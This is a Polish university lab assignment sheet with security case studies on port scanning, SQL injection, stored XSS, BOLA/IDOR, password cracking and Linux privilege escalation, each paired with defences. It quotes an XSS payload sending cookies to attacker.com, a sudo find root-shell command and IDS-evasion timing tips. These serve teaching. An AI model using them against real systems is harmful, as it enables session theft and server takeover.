Każda grupa laboratoryjna wybiera dokładnie jedno zadanie z poniższego zestawu dziesięciu studiów przypadków do kompleksowego opracowania w formie pisemnego referatu inżynierskiego. Prace realizowane są w zespołach liczących od dwóch do trzech studentów, a czas przeznaczony na realizację laboratorium wynosi 180 minut. Zadania na ocenę 4.0 łączą analizę organizacyjno-prawną z praktycznym wykorzystaniem bezpłatnego oprogramowania narzędziowego, konfiguracji wiersza poleceń oraz weryfikacji reguł bezpieczeństwa w systemach operacyjnych Linux, Windows oraz RouterOS. Od studentów wymaga się przeprowadzenia burzy mózgów, zbadania wzajemnych zależności pomiędzy komponentami systemu oraz wypracowania całościowego, spójnego rozwiązania technicznego. Efektem pracy grupy musi być dojrzałe sprawozdanie techniczne, wykazujące nie tylko zrozumienie teorii, lecz także umiejętność doboru i przetestowania konkretnych narzędzi audytorskich i konfiguracyjnych.
Z laboratorium każda grupa przygotowuje jedno łączne sprawozdanie w formacie dokumentu PDF o objętości od sześciu do ośmiu stron znormalizowanego tekstu inżynierskiego. Dokument musi rozpoczynać się od strony tytułowej zawierającej pełną nazwę uczelni, nazwę przedmiotu, imiona i nazwiska członków grupy wraz z numerami albumów, kierunek studiów, numer grupy dziekańskiej oraz rok akademicki. Bezpośrednio pod stroną tytułową należy wkleić pełną, niezmienioną treść wybranego do realizacji zadania laboratoryjnego. Układ merytoryczny pracy musi obligatoryjnie obejmować wstęp wprowadzający w tematykę, szczegółowe rozwinięcie problemu inżynierskiego oraz wyczerpujące podsumowanie z wnioskami. W części analitycznej wymagany jest szczegółowy opis zidentyfikowanych zagrożeń, formalna matryca ryzyka (prawdopodobieństwo x skutek) oraz uzasadnienie wyboru proponowanych reguł polityki bezpieczeństwa. W części praktycznej sprawozdanie musi zawierać logiczny schemat działania i połączeń, wykaz wykorzystanych bezpłatnych narzędzi i serwisów WWW, a także przetestowane pliki konfiguracyjne oraz zrzuty poleceń CLI wraz z ich rzeczywistymi wynikami. Sprawozdanie musi w sposób jednoznaczny i bezdyskusyjny dowodzić, że zespół samodzielnie i poprawnie zrealizował zadanie oraz zrozumiał wpływ poszczególnych parametrów na bezpieczeństwo całego systemu informatycznego. W referacie należy podać spis wykorzystanych źródeł, w tym aktów prawnych (RODO, ustawa o KSC), norm serii ISO/IEC 27001 i 27005 oraz oficjalnych wytycznych CSIRT NASK i NIST. Obrona sprawozdania odbywa się w trakcie zajęć poprzez ustne wystąpienie członków grupy i merytoryczną dyskusję nad przyjętymi rozwiązaniami technicznymi.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Skanowanie i identyfikacja usług.
Celem zadania jest przeprowadzenie metodycznego rekonesansu sieciowego i zmapowanie powierzchni ataku zewnętrznego (Attack Surface Mapping) wielooddziałowej korporacji zgodnie ze standardem PTES (Penetration Testing Execution Standard) oraz wytycznymi OSSTMM. Studenci poznają zaawansowane techniki skanowania portów (SYN stealth scan, FIN/NULL/Xmas scan, IP fragmentation), wykrywania systemów operacyjnych oraz wersjonowania usług za pomocą narzędzi Nmap i masscan. Projekt uczy odróżniania pasywnego zbierania informacji (OSINT) od aktywnego skanowania oraz zachowania ścisłych reguł zaangażowania (Rules of Engagement - RoE).
W części analitycznej studenci badają mechanizmy unikania detekcji przez systemy wykrywania i zapobiegania intruzom (IDS/IPS, np. Snort/Suricata), modelują zachowanie zapór sieciowych oraz analizują wpływ parametrów czasowych (Nmap timing templates T0-T5) na prawdopodobieństwo wykrycia. Zwieńczeniem zadania jest formalny rejestr aktywów sieciowych i otwarta matryca usług.
Polska Grupa Przemysłowa KGHTech S.A. zarządza rozproszoną infrastrukturą obejmującą trzy huty, centralę w Katowicach oraz centrum badawczo-rozwojowe. Do publicznego Internetu wystawiona jest cała klasa adresowa IPv4 (/24), w której znajdują się serwery pocztowe, portale pracownicze, routery brzegowe VPN oraz interfejsy zarządzające systemów SCADA. W ramach przygotowań do certyfikacji ISO/IEC 27001 zarząd zlecił audytorom wykonanie zewnętrznego audytu podatności.
Wstępna analiza wykazała, że administratorzy przez lata dopuszczali do powstawania tzw. cienia IT (Shadow IT) – nieudokumentowanych instalacji serwerów deweloperskich, testowych instancji baz danych oraz zapomnianych urządzeń sieciowych z otwartymi portami telnet i starymi wersjami SSH. Brak jednolitej inwentaryzacji powierzchni ataku uniemożliwiał skuteczne zarządzanie podatnościami.
Dodatkowo na brzegu sieci KGHTech zainstalowano system IDS Suricata, którego zadaniem jest wykrywanie agresywnych skanerów podatności. Zespół audytorski ma za zadanie przeprowadzić pełen audyt adresacji bez wywoływania fałszywych alarmów blokujących ruch biznesowy oraz zidentyfikować wszystkie aktywne usługi i ich wersje.
Grupa laboratoryjna przyjmuje rolę etycznych hackerów (White Hat). Studenci muszą zaplanować i zrealizować wieloetapowy rekonesans: od pasywnego OSINT (rejestry WHOIS, certyfikaty CT, wyszukiwanie w dnsdumpster/Amass), przez szybkie skanowanie wielowątkowe (masscan z ograniczeniem pasma), aż po precyzyjne skanowanie skryptami Nmap NSE (Nmap Scripting Engine) ukierunkowane na wykrycie podatności CVE.
Sprawozdanie musi zawierać kompletną matrycę zidentyfikowanych portów, wersje oprogramowania, wykryte niebezpieczne usługi (np. Telnet, SMBv1, niezaszyfrowane panele www) oraz zalecenia dotyczące utwardzenia reguł zapory ogniowej (Firewall Filtering).
Podczas przeprowadzania skanowania w środowiskach produkcyjnych kluczowe jest kontrolowanie agresywności skanera. Zbyt wysoka wartość pakietów na sekundę (--rate w masscan lub -T5 w Nmap) może doprowadzić do wyczerpania tablicy stanów routerów brzegowych (State Table Exhaustion) i wywołać niezamierzoną odmowę usługi (DoS).
Poniżej przedstawiono przykładowe polecenia zaawansowanego skanowania Nmap z maskowaniem, fragmentacją i wersjonowaniem usług:
Wykorzystanie skryptów NSE do precyzyjnej weryfikacji podatności na błąd negocjacji SMB (EternalBlue CVE-2017-0144):
Szybkie wykrywanie aktywnych portów w podsieci za pomocą masscan z kontrolą przepustowości:
Przykładowe wnioski (wzór do sprawozdania): Połączenie wielowątkowego skanowania narzędziem Masscan z dogłębną analizą skryptami Nmap NSE pozwoliło na błyskawiczne i precyzyjne zmapowanie powierzchni ataku korporacyjnej sieci przedsiębiorstwa. Zastosowanie technik profilowania usług wykazało obecność przestarzałych daemów z publicznie znanymi podatnościami RCE, które nie były uwzględnione w oficjalnej ewidencji zasobów IT. Eksperymenty z parametrami czasowymi (Timing Templates T2/T3) dowiodły, że odpowiednie spowolnienie tempa badania pozwala na skuteczne ominięcie prostych progów alarmowych systemów IPS. Sporządzenie matrycy ryzyka w oparciu o punktację CVSS v3.1 umożliwiło kadrze zarządzającej natychmiastowe skierowanie środków na załatanie najbardziej krytycznych usług brzegowych. Realizacja ćwiczenia w ścisłych granicach formalnego upoważnienia (RoE) potwierdziła, że profesjonalny rekonesans techniczny jest niezbędnym fundamentem każdego dojrzałego audytu cyberbezpieczeństwa.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i integralności informacji. Podatności aplikacji internetowych OWASP Top 10.
Celem zadania jest przeprowadzenie kontrolowanego audytu bezpieczeństwa aplikacji webowej pod kątem podatności na wstrzykiwanie kodu SQL (SQL Injection - SQLi) w środowisku testowym (np. DVWA, bWAPP, Juice Shop) zgodnie z metodyką OWASP Web Security Testing Guide (WSTG). Studenci badają mechanizmy działania trzech podstawowych klas ataków SQLi: In-band SQLi (Error-based, UNION-based), Inferential SQLi (Boolean-based blind, Time-based blind) oraz Out-of-band SQLi. Projekt analizuje proces ekstrakcji schematu bazy danych, łamania skrótów haseł oraz potencjalnego eskalowania uprawnień do poziomu systemu operacyjnego (xp_cmdshell / INTO OUTFILE).
W części defensywnej zadanie kładzie nacisk na konstrukcję i weryfikację skuteczności środków zaradczych: implementację zapytań parametryzowanych (Prepared Statements / Parameterized Queries), mapowania obiektowo-relacyjnego (ORM) oraz konfigurację reguł zapory aplikacji internetowych (WAF ModSecurity / OWASP Core Rule Set).
Sklep internetowy HurtPol Części Samochodowe Sp. z o.o. obsługuje zamówienia hurtowe dla warsztatów mechanicznych w całej Polsce. W panelu wyszukiwania katalogu produktów oraz w formularzu logowania dla partnerów B2B zastosowano dynamicznie budowane zapytania SQL w języku PHP z bezpośrednim doklejaniem ciągów znaków wprowadzanych przez użytkownika ($sql = 'SELECT * FROM produkty WHERE nazwa = \'' . $_GET['szukaj'] . '\'').
Podczas rutynowej analizy logów serwera WWW Apache administrator zauważył serię nietypowych zapytań HTTP zawierających znaki cudzysłowu, komentarzy SQL (--) oraz funkcje SLEEP(5). Okazało się, że zautomatyzowane boty skanujące wykryły podatność Blind SQL Injection w module filtrowania cen, co umożliwiło nieznanym sprawcom powolną, lecz skuteczną ekstrakcję tabeli uzytkownicy zawierającej imiona, nazwiska, adresy NIP, skróty haseł oraz adresy e-mail ponad 4000 klientów.
Zarząd HurtPol zlecił audytorom pilne przeprowadzenie testów penetracyjnych typu Grey-Box w celu zmapowania wszystkich podatnych punktów wejścia aplikacji, wykazania realnego wpływu podatności (Proof of Concept) oraz zaimplementowania twardych zabezpieczeń programistycznych i sieciowych.
Grupa laboratoryjna musi zidentyfikować podatne parametry, zademonstrować manualną eksploatację UNION SQLi w celu wyciągnięcia wersji bazy danych i listy tabel, a następnie wykorzystać darmowe narzędzie sqlmap w trybie kontrolowanym (audytorskim) do zbadania stopnia podatności środowiska.
W części naprawczej studenci muszą przepisać podatny kod aplikacji na bezpieczne zapytania parametryzowane z użyciem biblioteki PHP PDO oraz wdrożyć reguły zapory ModSecurity blokujące znane wektory ataków SQL Injection.
Nigdy nie polegaj na filtrowaniu danych wejściowych opartym na czarnych listach (Blacklisting) słów kluczowych takich jak 'SELECT' czy 'UNION'. Doświadczeni napastnicy z łatwością omijają czarne listy za pomocą przeplotu wielkości liter (sElEcT), komentarzy inline (UN/**/ION) lub kodowania URL/Hex. Jedynym stuprocentowo skutecznym środkiem obrony są zapytania parametryzowane (Prepared Statements).
Poniżej przedstawiono porównanie podatnego kodu PHP oraz bezpiecznej implementacji z wykorzystaniem zapytań parametryzowanych PDO:
Manualna demonstracja ataku UNION-based wstrzykniętego w parametr GET za pomocą curl:
Weryfikacja blokady ataku przez WAF ModSecurity z zestawem reguł OWASP CRS:
Przykładowe wnioski (wzór do sprawozdania): Przeprowadzony audyt bezpieczeństwa formularza wyszukiwania ujawnił obecność krytycznej podatności SQL Injection typu Time-based Blind, wynikającej z bezpośredniego łączenia zmiennych wejściowych w zapytaniu bazy danych. Zastosowanie narzędzia sqlmap umożliwiło odtworzenie pełnej struktury tabel oraz wykazanie, że aplikacja webowa łączy się z bazą danych na prawach konta administracyjnego 'dba'. Wykazano, że błąd ten w połączeniu z funkcją zapisu do plików mógłby pozwolić napastnikowi na wgranie web shella i całkowite przejęcie kontroli nad serwerem aplikacji. Zastąpienie dynamicznie konstruowanych zapytań mechanizmem sparametryzowanych Prepared Statements całkowicie wyeliminowało podatność, uniemożliwiając zmianę logiki poleceń SQL przez jakiekolwiek znaki ucieczki. Wyniki zadania dobitnie potwierdzają zalecenia OWASP Top 10, wskazujące walidację typów danych i parametryzację jako jedyne skuteczne tarcze przed atakami wstrzykiwania kodu.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i autentyczności informacji. Bezpieczeństwo skryptów po stronie klienta.
Celem zadania jest przeprowadzenie audytu bezpieczeństwa aplikacji internetowej pod kątem podatności na wstrzykiwanie skryptów po stronie klienta (Cross-Site Scripting - XSS) oraz wdrożenie kompleksowej architektury obronnej. Studenci analizują mechanizmy powstawania i eksploatacji trzech wariantów podatności: Reflected XSS (odbity), Stored XSS (trwały / składowany w bazie) oraz DOM-based XSS. W ramach ćwiczenia badane są wektory kradzieży ciasteczek sesyjnych (Session Hijacking), fałszowania zawartości strony (Virtual Defacement) oraz wymuszania nieautoryzowanych akcji w imieniu użytkownika.
W części naprawczej studenci wdrażają zaawansowane mechanizmy obronne: kodowanie kontekstowe danych wyjściowych (Context-Aware Output Encoding), flagi bezpieczeństwa ciasteczek (HttpOnly, Secure, SameSite=Strict) oraz konstruują restrykcyjną politykę Content Security Policy (CSP Level 3) z użyciem unikalnych kryptograficznych wartości 'nonce' i hashy SHA-256.
Miejski Portal Konsultacji Społecznych 'Nasz Kraków' umożliwia mieszkańcom zgłaszanie projektów budżetu obywatelskiego, dyskutowanie na forach oraz głosowanie z użyciem profilu zaufanego. Aplikacja została napisana w języku JavaScript (Node.js/Express) z renderowaniem szablonów po stronie serwera oraz elementami dynamicznymi w React.
W trakcie konsultacji społecznych dotyczących nowej linii tramwajowej jeden z użytkowników opublikował w komentarzu sformatowany kod HTML zawierający złośliwy ładunek JavaScript ukryty w tagu SVG (<svg onload="fetch('http://attacker.com/steal?cookie='+document.cookie)">). Skrypt został zapisany w bazie danych bez jakiejkolwiek sanityzacji (Stored XSS). Każdy urzędnik i mieszkaniec otwierający stronę konsultacji nieświadomie wykonywał złośliwy kod w kontekście swojej przeglądarki.
W efekcie ataku doszło do przejęcia aktywnych tokenów sesyjnych administratorów portalu, co umożliwiło napastnikowi podmianę wyników głosowania na projekty obywatelskie oraz umieszczenie na stronie głównej fałszywych komunikatów urzędowych (defacement). Ponieważ ciasteczka sesyjne nie miały ustawionej flagi HttpOnly, a nagłówek Content-Security-Policy nie był zaimplementowany, przeglądarki bez przeszkód zrealizowały złośliwe żądanie do zewnętrznego serwera.
Prezydent miasta nakazał natychmiastowe wstrzymanie głosowania i powołał niezależny zespół audytorów (grupę laboratoryjną) w celu zbadania podatności, zidentyfikowania wszystkich wektorów XSS i opracowania standardu kodowania oraz konfiguracji nagłówków HTTP.
Zadaniem studentów jest odtworzenie scenariusza ataku w środowisku testowym (PoC kradzieży ciasteczek i demonstracja odczytu DOM), wdrożenie automatycznego kodowania kontekstowego za pomocą biblioteki DOMPurify oraz zaprojektowanie rygorystycznego nagłówka CSP uniemożliwiającego wykonanie niesprawdzonego kodu JavaScript.
Content Security Policy (CSP) jest potężnym mechanizmem obrony w głąb (Defense in Depth). Nawet jeśli programista popełni błąd i dopuści do wstrzyknięcia tagu <script> do kodu HTML, restrykcyjna polityka CSP zabroni przeglądarce wykonania tego kodu, jeśli nie posiada on prawidłowej, wygenerowanej kryptograficznie wartości 'nonce' pasującej do nagłówka odpowiedzi HTTP.
Poniżej przedstawiono przykładową implementację nagłówka CSP w serwerze Nginx z dynamicznym generowaniem wartości nonce i wymuszeniem flag ciasteczek:
Próba wykonania wstrzykniętego skryptu XSS w przeglądarce kończy się natychmiastowym zablokowaniem przez mechanizm CSP:
Sanityzacja kodu HTML przed wstrzyknięciem do drzewa DOM za pomocą biblioteki DOMPurify w JavaScript:
Przykładowe wnioski (wzór do sprawozdania): W toku testów penetracyjnych zidentyfikowano podatność Stored XSS w module komentarzy, która pozwalała na wstrzyknięcie złośliwego kodu JavaScript wykonującego się w przeglądarkach wszystkich zalogowanych użytkowników serwisu. Demonstracja przejęcia sesji udowodniła, że brak flagi 'HttpOnly' w ciasteczkach uwierzytelniających umożliwia natychmiastową kradzież tożsamości administratora za pomocą zaledwie jednej linijki kodu JS. Wdrożenie rygorystycznego nagłówka Content Security Policy (CSP) z losowymi kryptograficznymi wartościami 'nonce' dla dozwolonych skryptów skutecznie zablokowało wykonywanie wstrzykniętych payloadów inline. Zastosowanie biblioteki DOMPurify oraz kodowania znaków ucieczki zależnego od kontekstu (Context-Aware Encoding) zabezpieczyło aplikację przed atakami opartymi na manipulacji drzewem DOM. Zadanie wykazało, że skuteczna ochrona przed XSS wymaga zastosowania obrony wielowarstwowej: od poprawnej konstrukcji kodu aplikacji po restrykcyjne nagłówki bezpieczeństwa HTTP.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Bezpieczeństwo interfejsów API.
Celem zadania jest przeprowadzenie audytu bezpieczeństwa interfejsów programistycznych REST API pod kątem podatności autoryzacji obiektowej BOLA (Broken Object Level Authorization), znanej tradycyjnie jako IDOR (Insecure Direct Object References) – zajmującej pierwsze miejsce na liście OWASP API Security Top 10. Studenci poznają mechanizmy horyzontalnej i wertykalnej eskalacji uprawnień w komunikacji API, badając aplikacje mobilne i webowe operujące na formacie JSON. Projekt obejmuje analizę podatności polegającej na podmianie identyfikatorów zasobów w żądaniach HTTP bez weryfikacji tożsamości właściciela obiektu.
W części obronnej zadanie wymaga zaimplementowania kryptograficznych zabezpieczeń po stronie serwera aplikacji: przejścia z sekwencyjnych identyfikatorów całkowitoliczbowych na losowe identyfikatory UUID v4, wdrożenia weryfikacji kontekstu właściciela zasobu (Resource Ownership Verification) oraz zabezpieczenia komunikacji za pomocą asymetrycznie podpisywanych tokenów JSON Web Tokens (JWT) z krótkim czasem życia i rotacją kluczy.
Aplikacja mobilna 'MedikApp' umożliwia pacjentom sieci prywatnych przychodni umawianie wizyt lekarskich, odbieranie wyników badań laboratoryjnych oraz pobieranie recept i zwolnień lekarskich ZUS ZLA. Komunikacja pomiędzy aplikacją na smartfonie a serwerem backendowym odbywa się za pośrednictwem interfejsu REST API (/api/v1/badania/{id}/wynik).
Podczas rutynowego badania aplikacji przez entuzjastę bezpieczeństwa zidentyfikowano krytyczną podatność BOLA/IDOR. Zalogowany pacjent, po odebraniu własnego wyniku badania (GET /api/v1/badania/10492/wynik), podmienił w przechwyconym za pomocą proxy Burp Suite żądaniu identyfikator na numer 10491. Serwer bez jakiejkolwiek weryfikacji uprawnień zwrócił pełną dokumentację medyczną innego pacjenta, zawierającą imię, nazwisko, numer PESEL oraz wrażliwe wyniki badań histopatologicznych.
Co gorsza, identyfikatory w bazie danych były zwykłymi liczbami całkowitymi generowanymi sekwencyjnie (Auto-Increment). Napastnik, pisząc prosty skrypt w Pythonie iterujący po identyfikatorach od 1 do 50 000, był w stanie pobrać bazę wyników badań wszystkich pacjentów przychodni z ostatnich 5 lat. Sprawa wywołała natychmiastowe zawiadomienie Prezesa UODO i wszczęcie postępowania karnego.
Zarząd sieci medycznej zlecił audytorom (grupie laboratoryjnej) przeprowadzenie pełnych testów bezpieczeństwa całego interfejsu API zgodnie z wytycznymi OWASP API Security Project, zademonstrowanie ataku na środowisku testowym oraz zaprojektowanie i wdrożenie mechanizmów uniemożliwiających nieautoryzowany dostęp do cudzych obiektów.
Zespół musi zaimplementować bezpieczną warstwę autoryzacji weryfikującą tożsamość pacjenta zakodowaną w tokenie JWT z identyfikatorem pacjenta przypisanym do danego rekordu medycznego w bazie danych, zastąpić identyfikatory liczbowe unikalnymi kryptograficznie identyfikatorami UUID v4 oraz wdrożyć limitowanie zapytań (Rate Limiting).
Wiele zespołów deweloperskich błędnie uważa, że samo zastąpienie identyfikatorów całkowitych liczbami losowymi UUID całkowicie rozwiązuje problem BOLA. Jest to nieprawda – utrudnia to jedynie skanowanie na oślep (Security through Obscurity). Prawdziwym rozwiązaniem jest bezwzględna weryfikacja w warstwie logiki biznesowej, czy zalogowany użytkownik (identyfikowany przez zaufany token JWT) jest uprawnionym właścicielem żądanego obiektu.
Poniżej przedstawiono implementację bezpiecznego kontrolera API w języku Node.js/Express weryfikującego własność zasobu:
Demonstracja próby nieautoryzowanego dostępu do cudzego wyniku badania za pomocą polecenia cURL:
Weryfikacja zawartości i poprawności podpisu kryptograficznego tokena JWT za pomocą OpenSSL / jq:
Przykładowe wnioski (wzór do sprawozdania): Testy penetracyjne interfejsu REST API wykazały obecność krytycznej luki typu BOLA/IDOR w punkcie końcowym pobierania faktur, gdzie prosta modyfikacja identyfikatora w adresie URL pozwalała na pobranie poufnych dokumentów dowolnego kontrahenta. Eksperyment dowiódł, że poprawne uwierzytelnienie tokenem JWT nie stanowi żadnej ochrony, jeżeli serwer nie sprawdza w logice biznesowej, czy zalogowany podmiot jest rzeczywistym właścicielem żądanego rekordu. Zastąpienie przewidywalnych identyfikatorów sekwencyjnych (ID=1042) kryptograficznie losowymi ciągami UUID v4 uniemożliwiło zautomatyzowane pobieranie bazy danych metodą brute-force. Kluczowym środkiem zaradczym było wdrożenie scentralizowanego filtra autoryzacji weryfikującego relację własności obiektu przed zwróceniem danych z bazy. Badanie to dobitnie potwierdziło, że podatności autoryzacji na poziomie obiektów stanowią obecnie zagrożenie numer jeden w bezpieczeństwie nowoczesnych usług chmurowych i mikrousług.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Funkcje skrótu i ochrona haseł.
Celem zadania jest zbadanie odporności mechanizmów przechowywania poświadczeń użytkowników w systemach operacyjnych i bazach danych na ataki offline (Offline Password Cracking). Studenci poznają zasady działania zaawansowanych narzędzi audytorskich Hashcat oraz John the Ripper, badając różnorodne techniki ataku: ataki słownikowe, ataki hybrydowe z regułami przekształceń (Rule-based attacks), ataki maskowe (Mask attacks) oraz ataki kombinatoryczne. Projekt uczy wyodrębniania skrótów z plików /etc/shadow (Linux) oraz bazy NTDS.dit / SAM (Windows).
W części kryptoanalitycznej studenci dokonują rygorystycznego porównania szybkości łamania szybkich funkcji skrótu (MD5, SHA-1, NTLM) z wolnymi, pamięciożernymi funkcjami derywacji klucza (KDF: bcrypt, scrypt, PBKDF2, Argon2id). Zadanie pozwala zrozumieć znaczenie unikalnej soli kryptograficznej (Salt) oraz kosztu obliczeniowego i pamięciowego (Cost factors) w odporności na równoległe ataki GPU/ASIC.
Podczas audytu bezpieczeństwa sieci wewnętrznej banku komercyjnego audytorzy uzyskali dostęp do archiwalnej kopii zapasowej bazy danych portalu intranetowego oraz zrzutu bazy SAM z zapomnianego serwera Windows Server 2008. W plikach znajdowało się ponad 1500 skrótów haseł pracowników różnych szczebli – od kasjerów po dyrektorów departamentu bezpieczeństwa.
Wstępna analiza kryptoanalityczna wykazała, że portal intranetowy zapisywał hasła przy użyciu przestarzałego algorytmu MD5 bez soli (Plain MD5), natomiast stacje robocze Windows korzystały z podatnego na ataki tablicami tęczowymi i kolizjami algorytmu NTLM. Jedynie nowy portal bankowości internetowej wykorzystywał algorytm bcrypt z kosztem obliczeniowym work factor = 12.
Zarząd banku zażądał przeprowadzenia kontrolowanego audytu odporności haseł (Password Audit) w celu zidentyfikowania pracowników stosujących słabe hasła frazowe, hasła oparte na nazwach pór roku i nazwach miast, a także oszacowania czasu potrzebnego potencjalnemu intruzowi na odzyskanie haseł z wykradzionych baz.
Grupa laboratoryjna przyjmuje zadanie przeprowadzenia audytu offline. Studenci muszą zidentyfikować typy skrótów, przygotować zoptymalizowane słowniki słów w języku polskim (np. słowniki wyciekowe dostosowane do realiów polskich), opracować reguły mutacji (podmiana 'a' na '@', 'e' na '3', dopisywanie bieżącego roku) oraz przetestować łamanie z wykorzystaniem narzędzi Hashcat i John the Ripper.
Sprawozdanie musi zawierać statystykę złamanych haseł, analizę złożoności, porównanie liczby hashy na sekundę (H/s) osiąganych na CPU/GPU dla algorytmów NTLM vs Argon2id/bcrypt oraz rekomendacje dotyczące natychmiastowej migracji systemów uwierzytelniania.
Zasadniczą różnicą pomiędzy funkcjami skrótu ogólnego przeznaczenia (MD5, SHA-256) a algorytmami haszowania haseł (bcrypt, Argon2id) jest cel ich konstrukcji. SHA-256 został zaprojektowany, aby być jak najszybszym przy weryfikacji integralności plików. W ochronie haseł szybkość jest śmiertelnym zagrożeniem, ponieważ pozwala napastnikowi testować miliardy kombinacji na sekundę. Dobre algorytmy haseł muszą być celowo powolne i wymagać dużej ilości pamięci RAM (Memory-Hard Functions), co neutralizuje przewagę kart graficznych i układów ASIC.
Poniżej przedstawiono przykładowe polecenia benchmarku i ataku hybrydowego narzędziem Hashcat:
Uruchomienie ataku słownikowego z regułami na skróty haseł systemu Windows NTLM:
Badanie czasu generowania skrótu Argon2id w języku Python w zależności od alokacji pamięci RAM:
Przykładowe wnioski (wzór do sprawozdania): Praktyczne warsztaty z wykorzystaniem narzędzi Hashcat i John the Ripper obnażyły drastyczną różnicę w odporności pomiędzy szybkimi funkcjami skrótu (NTLM, SHA-1) a nowoczesnymi funkcjami KDF, takimi jak bcrypt czy Argon2id. Wykorzystanie mocy obliczeniowej procesora graficznego GPU pozwoliło na złamanie 8-znakowych haseł NTLM opartych na prostych maskach i słownikach w czasie poniżej kilkunastu minut. Testy potwierdziły, że dodanie unikalnej kryptograficznej soli uniemożliwia jednoczesne atakowanie wielu kont za pomocą gotowych tablic tęczowych, zmuszając audytora do indywidualnego przeszukiwania przestrzeni dla każdego użytkownika. Wykazano, że jedyną skuteczną barierą przed łamaniem poświadczeń offline jest stosowanie długich haseł frazowych (passphrases) oraz pamięciożernych funkcji KDF o wysokim parametrze kosztu obliczeniowego. Przeprowadzony audyt dostarczył twardych danych dowodzących konieczności odejścia od przestarzałych protokołów NTLM w domenie Windows na rzecz protokołu Kerberos.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Prawa dostępu i mechanizmy jądra systemu.
Celem zadania jest przeprowadzenie zaawansowanego audytu bezpieczeństwa konfiguracji systemu operacyjnego Linux pod kątem podatności umożliwiających lokalną eskalację uprawnień (Local Privilege Escalation - LPE) ze zwykłego konta użytkownika do uprawnień administratora root. Studenci poznają metodykę i wektory ataków na mechanizmy kontroli dostępu jądra: binarne pliki z bitem SUID/SGID, niebezpieczne wpisy w pliku /etc/sudoers (np. NOPASSWD, pomijanie bezpiecznych ścieżek), nadmiarowe zdolności linuksowe (Linux Capabilities) oraz podatne skrypty w harmonogramie cron.
W części defensywnej studenci opracowują i wdrażają procedurę utwardzania systemu (Hardening) zgodnie z zaleceniami CIS Benchmark for Linux: audytują system narzędziem Lynis, eliminują zbędne bity SUID, konfigurują moduł jądra AppArmor / SELinux oraz zabezpieczają uprawnienia do kluczowych plików systemowych.
Dostawca usług chmurowych CloudHost Polska Sp. z o.o. udostępnia klientom środowiska współdzielonego hostingu WWW opartego na systemie Linux Debian. Klienci posiadają dostęp do powłoki SSH z ograniczonymi uprawnieniami (unprivileged user), aby móc zarządzać swoimi skryptami i bazami danych. Zgodnie z umową SLA, środowiska poszczególnych klientów muszą być od siebie ściśle odizolowane, a użytkownik nie może mieć wglądu w procesy ani pliki innych abonentów.
Jeden z młodszych administratorów, chcąc ułatwić klientom diagnostykę sieci i tworzenie kopii zapasowych, nadał bit SUID programom /usr/bin/python3 oraz /bin/tar, a w pliku /etc/sudoers dodał dla grupy klientów wpis zezwalający na uruchamianie polecenia /usr/bin/find bez podawania hasła (NOPASSWD).
Podczas wewnętrznych testów penetracyjnych audytor bezpieczeństwa przejął testowe konto klienta o niskich uprawnieniach i w ciągu kilkudziesięciu sekund uzyskał pełną powłokę administratora root, wykorzystując znaną technikę GTFOBins na programie find (sudo find . -exec /bin/sh \; -quit) oraz eskalację przez binarkę Pythona z bitem SUID. Przejęcie konta root oznaczało całkowitą kompromitację serwera hostingowego, umożliwiając odczytanie haseł i baz danych wszystkich pozostałych klientów.
Dyrektor ds. Technologii nakazał natychmiastowe przeprowadzenie pełnego audytu bezpieczeństwa wszystkich maszyn serwerowych, wyeliminowanie niebezpiecznych uprawnień oraz wdrożenie zautomatyzowanego skanowania konfiguracji pod kątem luk LPE.
Grupa laboratoryjna musi zasymulować środowisko podatne, uruchomić skrypt audytorski LinPEAS, zidentyfikować podatności eskalacji, przeprowadzić kontrolowaną demonstrację PoC przejęcia uprawnień root, a następnie zaimplementować wytyczne utwardzania systemu (CIS Benchmark) i zweryfikować stan zabezpieczeń skanerem Lynis.
Podczas konfigurowania pliku /etc/sudoers nigdy nie używaj zwykłego edytora tekstu (np. nano czy vim bezpośrednio na pliku). Zawsze stosuj dedykowane polecenie `visudo`. Sprawdza ono składnię pliku przed zapisem, zapobiegając błędom składniowym, które mogłyby trwale zablokować możliwość korzystania z uprawnień administratora w całym systemie.
Poniżej przedstawiono przykładowe polecenia enumeracji i eskalacji uprawnień za pomocą pliku z bitem SUID oraz GTFOBins:
Eskalacja uprawnień do konta root za pomocą programu find z uprawnieniem sudoers:
Procedura utwardzania i audyt bezpieczeństwa systemu za pomocą narzędzia Lynis:
Przykładowe wnioski (wzór do sprawozdania): Audyt uprawnień lokalnych w systemie Linux ujawnił powszechny błąd konfiguracyjny polegający na przyznaniu użytkownikowi prawa sudo do edytora tekstu bez hasła, co pozwoliło na błyskawiczne zespawnowanie powłoki z prawami roota za pomocą technik GTFOBins. Zidentyfikowanie niestandardowego pliku binarnego z aktywnym bitem SUID dowiodło, że administratorzy często nieświadomie otwierają krytyczne wektory eskalacji uprawnień podczas instalowania lokalnych narzędzi pomocniczych. Zastosowanie mechanizmu Linux Capabilities umożliwiło ograniczenie uprawnień programów sieciowych wyłącznie do niezbędnych operacji (np. cap_net_bind_service) bez konieczności nadawania im pełnych przywilejów konta root. Przegląd zadań harmonogramu Cron wykazał skrypt z uprawnieniami zapisu dla grupy użytkowników, co w toku symulacji pozwoliło na wstrzyknięcie złośliwej komendy i przejęcie kontroli nad systemem. Wdrożenie zaleceń standardu CIS Linux Benchmark trwale usunęło zidentyfikowane luki, zapewniając bezpieczną separację środowisk użytkowników.
Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Bezpieczeństwo systemu Windows i usług.
